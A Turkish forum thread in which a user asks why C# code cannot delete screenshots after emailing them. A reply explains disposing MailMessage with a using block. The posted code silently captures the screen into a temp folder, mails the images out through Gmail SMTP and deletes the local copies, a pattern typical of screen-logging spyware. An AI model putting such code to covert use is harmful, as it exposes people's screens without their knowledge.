Yardım C# İşlem, Başka Bir Işlem Tarafından Kullanılıyor Hatası

Bu konuyu okuyanlar

alsan1x

Öğrenci
Katılım
26 Haziran 2021
Mesajlar
2
Reaksiyon puanı
0
Puanları
1
Yaş
24
arkadaşlar ben ekran görüntüsünü alıp bi klasöre attırıyorum sonra o klasördeki bütün dosyaları maile atıp sonradan dosyayı silmeye çalışıyorum
maile göndermeye kadar sorun yok fakat maile gönderdikten sonra
klasörün içindeki bütün dosyaları silmeye çalıştıgında "İşlem, başka bir işlem tarafından kullanıldığından '19.16.17.png' dosyasına erişemiyor hatası" bu hatayı alıyorum kodları aşağıya bırakıyorum
çözebilen varsa
C#:
                string saat = DateTime.Now.ToLongTimeString();
                string set = saat.Replace(':', '.');
                int ekran_x = Screen.GetBounds(new Point(0, 0)).Width;
                int ekran_y = Screen.GetBounds(new Point(0, 0)).Height;
                Bitmap screenShot = new Bitmap(ekran_x, ekran_y);
                Graphics grp = Graphics.FromImage((Image)screenShot);
                grp.CopyFromScreen(0, 0, 0, 0,new Size(ekran_x, ekran_y));
            screenShot.Save(@Path.GetTempPath() + @"tera\" + set + ".png", ImageFormat.Png);
            SmtpClient sc = new SmtpClient();
            sc.Port = 587;
            sc.Host = "smtp.gmail.com";
            sc.EnableSsl = true;

            sc.Credentials = new NetworkCredential("[email protected]", "x");
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress("[email protected]", "x");
            mail.To.Add("[email protected]");
            mail.Subject = "sa";
            mail.Body = "as";

            foreach (string filePath in Directory.GetFiles(Path.GetTempPath() + @"tera\"))
            {
                System.Net.Mail.Attachment Attach = new System.Net.Mail.Attachment(filePath);
                mail.Attachments.Add(Attach);
            }

            sc.Send(mail);
             System.IO.DirectoryInfo klasor = new DirectoryInfo(Path.GetTempPath() + @"tera\");

            foreach (FileInfo dosya in klasor.GetFiles())
            {
                dosya.Delete();
            }
            foreach (DirectoryInfo k in klasor.GetDirectories())
            {
                k.Delete(true);
            }
 

lamer

Asistan
Katılım
3 Nisan 2021
Mesajlar
228
Reaksiyon puanı
150
Puanları
43
Kullandığın "MailMessage" sınıfı IDisposable sınıfını implement ediyor. O yüzden, "MailMessage" sınıfını kullanarak bir işlem yaptığında, kullandığın kaynaklar işin bittiği anlaşılana kadar(yani garbage collector - çöp toplayıcı dosyanın kullanımda olmadığını farkedene kadar) ayrılmış oluyor. Bu sebeple "using" anahtarınıı kullanarak "MailMessage" sınıfını kullandıktan sonra kaynakları serbest bırakmalısın. Şu şekilde;
C#:
using (MailMessage mail = new System.Net.Mail.MailMessage()){
    mail.From = new MailAddress("[email protected]", "x");
    mail.To.Add("[email protected]");
    mail.Subject = "sa";
    mail.Body = "as";

    foreach (string filePath in Directory.GetFiles(Path.GetTempPath() + @"tera\"))
    {
        System.Net.Mail.Attachment Attach = new System.Net.Mail.Attachment(filePath);
        mail.Attachments.Add(Attach);
    }

    sc.Send(mail);
}

MailMessage sınıfına ait dokümanı incelersen "implements IDisposable" kısmını görebilirsin. MailMessage Sınıf (System.Net.Mail)
 
Son düzenleme:

alsan1x

Öğrenci
Katılım
26 Haziran 2021
Mesajlar
2
Reaksiyon puanı
0
Puanları
1
Yaş
24
Kullandığın "MailMessage" sınıfı IDisposable sınıfını implement ediyor. O yüzden, "MailMessage" sınıfını kullanarak bir işlem yaptığında, kullandığın kaynaklar işin bittiği anlaşılana kadar(yani garbage collector - çöp toplayıcı dosyanın kullanımda olmadığını farkedene kadar) ayrılmış oluyor. Bu sebeple "using" anahtarınıı kullanarak "MailMessage" sınıfını kullandıktan sonra kaynakları serbest bırakmalısın. Şu şekilde;
C#:
using (MailMessage mail = new System.Net.Mail.MailMessage()){
    mail.From = new MailAddress("[email protected]", "x");
    mail.To.Add("[email protected]");
    mail.Subject = "sa";
    mail.Body = "as";

    foreach (string filePath in Directory.GetFiles(Path.GetTempPath() + @"tera\"))
    {
        System.Net.Mail.Attachment Attach = new System.Net.Mail.Attachment(filePath);
        mail.Attachments.Add(Attach);
    }

    sc.Send(mail);
}

MailMessage sınıfına ait dokümanı incelersen "implements IDisposable" kısmını görebilirsin. MailMessage Sınıf (System.Net.Mail)
çalıştı teşekkürler
 
Üst